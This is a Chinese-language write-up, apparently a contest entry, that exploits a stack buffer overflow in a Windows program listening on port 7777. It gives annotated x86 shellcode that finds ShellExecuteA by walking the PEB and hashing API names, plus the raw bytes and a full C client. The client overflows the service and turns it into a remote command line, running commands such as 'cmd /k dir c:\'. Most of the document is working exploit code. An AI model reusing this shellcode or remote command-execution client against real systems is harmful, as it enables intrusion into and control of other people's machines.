一、PE 文件分析：

单步跟踪可以发现，这个程序执行后分开启并侦听 7777 端口，当有数据从 7777 端口发过来时将接收到的数据显示到屏幕上。

二、漏洞分析：

1.程序在接收数据时建立的缓冲区大小为 0x200，但是没有检查接收数据的大小。
2.在显示数据时仅建立了 0xC8 大小的缓冲区，当数据超过 0xC8 字节时就会发生缓冲区溢出漏洞。
我利用的是第二个漏洞，以确保程序可以继续正常运行~~

三、构建溢出 shellcode：

第一步：观察 shellcode 的注意事项。
程序执行完显示数据的 CALL 后，会先用到 ESI，ESI 中存放的是接收到数据的长度，程序在 00401258 处用 test esi, esi 命令测试接收到的数据是否为空。在 shellcode 里只要保证 ESI 不为 0 就不影响程序的正常执行。
然后在循环接收数据时会一直会到 EBX 中存放的 socket 属性，在 shellcode 执行完毕后必须保证 EBX 的值不变。

第二步：更改程序流程。
当数据大小超过 0xC8 字节时，0xC8 处的 dword 会覆盖掉程序的返回地址。实时跟踪时发现程序在调用显示数据的 CALL 时会先把接收到的数据的首地址放入堆栈中。因此我们可以在 0xC8 处放入一个返回命令，使程序返回到接收数据的首地址继续执行。这里我选用了 004010A4 处的 RETN 命令。

第三步：首次溢出：获取 API 地址。
先来一次溢出，获取 ShellExecuteA 的地址并保存。
具体 shellcode 代码如下：
代码:

```
0012FBF4        99                          cdq
                                            ;  edx 清 0
0012FBF5        66:BA  BF40                 mov         dx,  40BF
                                    ;  保存获取到的 API 地址的空间
0012FBF9        C1E2  08                    shl         edx,  8
0012FBFC        B2  F8                      mov         dl,  0F8
                                    ;  40BFF8,data 段的最后位置
0012FBFE        8BFA                        mov         edi,  edx
0012FC00        FC                          cld
0012FC01        68  58CB3B21                push        213BCB58
                                    ;  HASH("ShellExeCuteA")
0012FC06        68  3274910C                push        0C917432
                                    ;  HASH("LoadLibraryA")
0012FC0B        8BF4                        mov         esi,  esp
0012FC0D        99                          cdq
```

```
0012FC0E        64:8B4A  30          mov          ecx,  dword  ptr  f
s:[edx+30]        ;  定位 TEB
0012FC12        8B49  0C              mov          ecx,  dword  ptr
  [ecx+C]
0012FC15        8B49  1C              mov          ecx,  dword  ptr
  [ecx+1C]
0012FC18        8B09                    mov          ecx,  dword  p
tr  [ecx]
0012FC1A        8B69  08              mov          ebp,  dword  ptr
  [ecx+8]             ;  找到 kernel32.dll
0012FC1D        B6  02                  mov          dh,  2
                                        ;  esp-200,建立缓冲空间
0012FC1F        2BE2                    sub          esp,  edx
                                      ;  其实用不着这么大
0012FC21        66:BA  3332           mov          dx,  3233
                                  ;  "32"
0012FC25        C1E2  08              shl          edx,  8
0012FC28        B2  6C                  mov          dl,  6C
                                        ;  "132"
0012FC2A        52                        push         edx
0012FC2B        68  7368656C          push         6C656873
                                ;  "shel"
0012FC30        54                        push         esp
                                        ;  合成"shell32"
0012FC31        AD                        lods         dword  ptr  [
esi]                              ;  取 API 的 HASH
0012FC32        3C  58                  cmp          al,  58
                                        ;  只比较一个字节，省出了 3
个字节~~
0012FC34        75  05                  jnz          short  0012FC3
B                                 ;  是否已经得到了 LoadLibrarA 的地
址?
0012FC36        95                        xchg         eax,  ebp
                                      ;  取出"shell32"
0012FC37        FF57  FC              call         dword  ptr  [edi-
4]                          ;  LoadLibraryA("shell32")
0012FC3A        95                        xchg         eax,  ebp
0012FC3B        60                        pushad
                                          ;  保存寄存器状态
0012FC3C        8B45  3C              mov          eax,  dword  ptr
  [ebp+3C]            ;  查找 API 地址表
0012FC3F        8B4C05  78            mov          ecx,  dword  ptr
[ebp+eax+78]
0012FC43        03CD                    add          ecx,  ebp
```

```
0012FC45        8B59  20                mov          ebx,  dword  ptr
  [ecx+20]
0012FC48        03DD                      add          ebx,  ebp
0012FC4A        33FF                      xor          edi,  edi
0012FC4C        47                          inc          edi
0012FC4D        8B34BB                    mov          esi,  dword  ptr
  [ebx+edi*4]
0012FC50        03F5                      add          esi,  ebp
                                        ;  分别取每个 API 名称
0012FC52        99                          cdq
0012FC53        0FBE06                    movsx      eax,  byte  ptr  [
esi]                    ;  HASH(API 名)
0012FC56        3AC4                      cmp          al,  ah
0012FC58        74  08                    je            short  0012FC
62
0012FC5A        C1CA  07                  ror          edx,  7
0012FC5D        03D0                      add          edx,  eax
0012FC5F        46                          inc          esi
0012FC60    ^   EB  F1                    jmp          short  0012FC53
0012FC62        3B5424  1C            cmp          edx,  dword  ptr
[esp+1C]              ;  HASH 值是否相同?
0012FC66    ^   75  E4                    jnz          short  0012FC4C
                                ;  继续查找下一个 API
0012FC68        8B59  24                  mov          ebx,  dword  ptr
  [ecx+24]              ;  找到正确的 API 名后:
0012FC6B        03DD                      add          ebx,  ebp
0012FC6D        66:8B3C7B             mov          di,  word  ptr  [eb
x+edi*2]
0012FC71        8B59  1C                  mov          ebx,  dword  ptr
  [ecx+1C]
0012FC74        03DD                      add          ebx,  ebp
0012FC76        032CBB                    add          ebp,  dword  ptr
  [ebx+edi*4]         ;  取出 API 地址
0012FC79        95                          xchg         eax,  ebp
0012FC7A        5F                          pop          edi
0012FC7B        AB                          stos         dword  ptr  e
s:[edi]                       ;  保存到 EDI=40BFF8 中去
0012FC7C        57                          push         edi
0012FC7D        61                          popad
                                              ;  还原寄存器状态
0012FC7E        3C  58                    cmp          al,  58
                                        ;  查找 HASH 完毕? 又省了 3
字节~~~
```

```
0012FC80    ^ 75  AF                    jnz         short  0012FC31
                                ;  查找下一个 HASH
0012FC82      99                          cdq
0012FC83      66:BA  0C02           mov         dx,  20C
                                ;  平衡堆栈
0012FC87      03E2                        add         esp,  edx
0012FC89      66:BA  1240           mov         dx,  4012
0012FC8D      C1E2  08                 shl          edx,  8
0012FC90      B2  55                      mov         dl,  55
                                ;  401255:程序返回地址
0012FC92      52                          push        edx
0012FC93      C3                          retn
                                    ;  返回程序继续执行
```

二进制数据为：

代码:

```
99  66  BA  BF  40  C1  E2  08  B2  F8  8B  FA  FC  68  58  CB  3B  2
1  68  32  74  91  0C  8B  F4  99  64  8B  4A  30  8B  49
0C  8B  49  1C  8B  09  8B  69  08  B6  02  2B  E2  66  BA  33  32  C
1  E2  08  B2  6C  52  68  73  68  65  6C  54  AD  3C  58
75  05  95  FF  57  FC  95  60  8B  45  3C  8B  4C  05  78  03  CD  8
B  59  20  03  DD  33  FF  47  8B  34  BB  03  F5  99  0F
BE  06  3A  C4  74  08  C1  CA  07  03  D0  46  EB  F1  3B  54  24  1
C  75  E4  8B  59  24  03  DD  66  8B  3C  7B  8B  59  1C
03  DD  03  2C  BB  95  5F  AB  57  61  3C  58  75  AF  99  66  BA  0
C  02  03  E2  66  BA  12  40  C1  E2  08  B2  55  52  C3
CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  C
C  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC
CC  CC  CC  CC  CC  CC  CC  CC  A4  10  40
```

第四步：再次溢出：打造终极命令行！

前面已经获取了需要的 API 地址，下面将这个程序打造成我们自己的 CommandLine!

代码:

```
0012FBF4      99                          cdq
                                    ;  edx 清 0
0012FBF5      8B4C24  FC            mov         ecx,  dword  ptr
[esp-4]                 ;  shellcode 首地址
0012FBF9      50                          push        eax
                                    ;  堆栈平衡
0012FBFA      66:BA  1240           mov         dx,  4012
0012FBFE      C1E2  08                 shl          edx,  8
0012FC01      B2  55                      mov         dl,  55
                                ;  401255:程序返回地址
0012FC03      52                          push        edx
                                    ;  保存返回地址
```

```
0012FC04        66:BA  FCBF          mov           dx,   0BFFC
                                  ;  40BFFC,ShellExecuteA 函数的地址
0012FC08        60                      pushad
                                          ;  保存现场
0012FC09        33DB                  xor           ebx,  ebx
                                      ;  清 0
0012FC0B        8D41  47              lea           eax,  dword  ptr
  [ecx+47]              ;  用户输入命令的结束位置
0012FC0E        8818                  mov           byte  ptr  [ea
x],  bl                       ;  写入 0,使字符串结束
0012FC10        8D41  43              lea           eax,  dword  ptr
  [ecx+43]              ;  参数首地址前一位
0012FC13        8818                  mov           byte  ptr  [ea
x],  bl                       ;  写入 0,使字符串结束
0012FC15        8D41  3F              lea           eax,  dword  ptr
  [ecx+3F]              ;  "open"字符结束的位置
0012FC18        8818                  mov           byte  ptr  [ea
x],  bl                       ;  写入 0,使字符串结束
0012FC1A        8D41  40              lea           eax,  dword  ptr
  [ecx+40]              ;  用户输入命令的首地址
0012FC1D        8D71  44              lea           esi,  dword  ptr
  [ecx+44]              ;  参数首地址
0012FC20        8D79  3B              lea           edi,  dword  ptr
  [ecx+3B]              ;  "open"字符首地址
0012FC23        43                      inc           ebx
0012FC24        53                      push        ebx
                                        ;  NShowCmd=1
0012FC25        4B                      dec           ebx
0012FC26        53                      push        ebx
                                        ;  LpDirectory=0
0012FC27        56                      push        esi
                                        ;  LpParameters=用户命令
参数
0012FC28        50                      push        eax
                                        ;  LpFile=用户命令
0012FC29        57                      push        edi
                                        ;  LpOperation="open"
0012FC2A        53                      push        ebx
                                        ;  hWnd=0
0012FC2B        FF12                  call        dword  ptr  [ed
x]                          ;  Call  ShellExecuteA
0012FC2D        61                      popad
                                          ;  恢复现场
```

```
0012FC2E          C3                                retn
                                                        ;   返回程序继续执行
```

二进制数据为：

代码:

```
99  8B  4C  24  FC  50  66  BA  12  40  C1  E2  08  B2  55  52  66  B
A  FC  BF  60  33  DB  8D  41  47  88  18  8D  41  43  88
18  8D  41  3F  88  18  8D  41  40  8D  71  44  8D  79  3B  43  53  4
B  53  56  50  57  53  FF  12  61  C3  6F  70  65  6E  CC
63  6D  64  20  64  69  72  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  C
C  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC
CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  C
C  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC
CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  C
C  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC
CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  C
C  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC  CC
CC  CC  CC  CC  CC  CC  CC  CC  A4  10  40
```

第五步：编写控制程序。

C 代码如下：

（一直没用 C，其中网络连接的代码都是从网上 COPY 的，最后一小段代码可把我累坏了！）

代码:

```
/////////////////////////////////////////////////////////////////
// my.cpp : Defines the entry point for the console applica
tion.
//

    #include     "stdafx.h"
    #include     "stdio.h"
    #include     "string.h"
    #include     <iostream.h>
    #include     <winsock.h>

    int     main(int     argc,     char*     argv[])
    {

    WSADATA      ws;
    SOCKET   s;

    char  someBuf[]="\x99\x66\xBA\xBF\x40\xC1\xE2\x08\xB2\xF8\x8B\xFA
\xFC\x68\x58\xCB"
                                  "\x3B\x21\x68\x32\x74\x91\x0C\x8B\x
F4\x99\x64\x8B\x4A\x30\x8B\x49"
```

```
                    "\x0C\x8B\x49\x1C\x8B\x09\x8B\x69\x08\xB6\x02\x2B\xE2\x66\xBA\x33"
                    "\x32\xC1\xE2\x08\xB2\x6C\x52\x68\x73\x68\x65\x6C\x54\xAD\x3C\x58"
                    "\x75\x05\x95\xFF\x57\xFC\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03"
                    "\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F"
                    "\xBE\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54"
                    "\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C"
                    "\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3C\x58\x75\xAF\x99\x66"
                    "\xBA\x0C\x02\x03\xE2\x66\xBA\x12\x40\xC1\xE2\x08\xB2\x55\x52\xC3"
                    "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
                    "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
                    "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xA4\x10\x40";

    char  shellBuf[]="\x99\x8B\x4C\x24\xFC\x50\x66\xBA\x12\x40\xC1\xE2\x08\xB2\x55\x52"
                    "\x66\xBA\xFC\xBF\x60\x33\xDB\x8D\x41\x47\x88\x18\x8D\x41\x43\x88"
                    "\x18\x8D\x41\x3F\x88\x18\x8D\x41\x40\x8D\x71\x44\x8D\x79\x3B\x43"
                    "\x53\x4B\x53\x56\x50\x57\x53\xFF\x12\x61\xC3\x6F\x70\x65\x6E\xCC"
                    "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
                    "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
                    "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
                    "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
                    "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
                    "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
```

```
                                        "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC
\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
                                        "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC
\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
                                        "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC
\xA4\x10\x40";

    char  tempBuf[0x80];

    struct          sockaddr_in          addr;
    int  iResult=0;
    long  lResult=0;

    int  goout=0;




    lResult      =      WSAStartup(0x0101,&ws);
    if(lResult!=0)
    {
    printf("初始化失败！！！");
    exit(0);
    }

                  s      =      socket(AF_INET,SOCK_STREAM,0);

    addr.sin_family      =      AF_INET;
    addr.sin_port      =      htons(7777);
    addr.sin_addr.s_addr      =      inet_addr("127.0.0.1");
    printf("正在连接......\n");
    iResult=connect(s,(struct      sockaddr      *)&addr,      sizeof
(addr));
    if(SOCKET_ERROR      ==      iResult)
    {
    WSACleanup();      //      连接失败
    return      FALSE;
    }

    printf("连接成功!!!");//      连接成
功

    iResult      =      send(s,someBuf,sizeof(someBuf),0);
    printf("\n      溢出完成!!");
```

```
while(goout==0)
{
    printf("\n\n 请输入命令，'q'退出:  \n");
    gets(tempBuf);
    printf(tempBuf);

    if  (tempBuf[0]=='q'  &&  tempBuf[1]==0)
    {
        goout=1;
    }

    if  (goout==0)
    {
        int  i=0;
        int  spacePos=0;
        while(tempBuf[i]!=0)
        {
            shellBuf[i+0x40]=tempBuf[i];        //将用户命令 copy 到
shellcode
            if  (tempBuf[i]==0x20)                      //当有空格
时：
            {
                if  (spacePos==0)                //是第一个空格吗？
                {
                    spacePos=0x40+i;//记录第一个空格的位置
                };
            }
            i++;
            if  (i>=0x80)  break;
        }
        shellBuf[0x19]=i+0x40;                              //将命令长
度写入 shellcode,让代码自己结束字符串
        if(spacePos==0)                                         //当
没有参数时：
        {
            shellBuf[0x1E]=0x3F;                //置空位置修改代码
            shellBuf[0x29]=0x33;                //把参数地址置 0
            shellBuf[0x2A]=0xF6;
            shellBuf[0x2B]=0x90;
        }
        else
        //当有参数时：
```

```
        {
            shellBuf[0x1E]=spacePos;          //参数前字节置 0
            shellBuf[0x2B]=spacePos+1;     //保存参数首地址
            shellBuf[0x29]=0x8D;
            shellBuf[0x2A]=0x71;
        };
    iResult      =      send(s,shellBuf,sizeof(shellBuf),0);

    printf("执行完成!!\n");
    }
}

    WSACleanup();
    return  0;
}
//////////////////////////////////////////////////
```

四、稳定性与通用性论证

没有用到绝对地址，通用性应该是可以的，单机测试正常，不街道稳定性怎么样。。。

五、创新性论证

个人感觉应该与别人的不一样的，第一个 shellcode 参考了 failwest 先生的大作（用 SHL 来赋值应该是我自己的一点点小创新吧），第二个小 shellcode 用 mov byte ptr [eax], bl 来写 0 结束字符串的方法也应该不会与别人雷同，把程序打造成 CommandLine 以执行任意命令费了我好大劲~~~~

PS：由于种种外因+内因，没能参加比赛，甚憾！

附图：执行"cmd /k dir c:\"命令成功~~~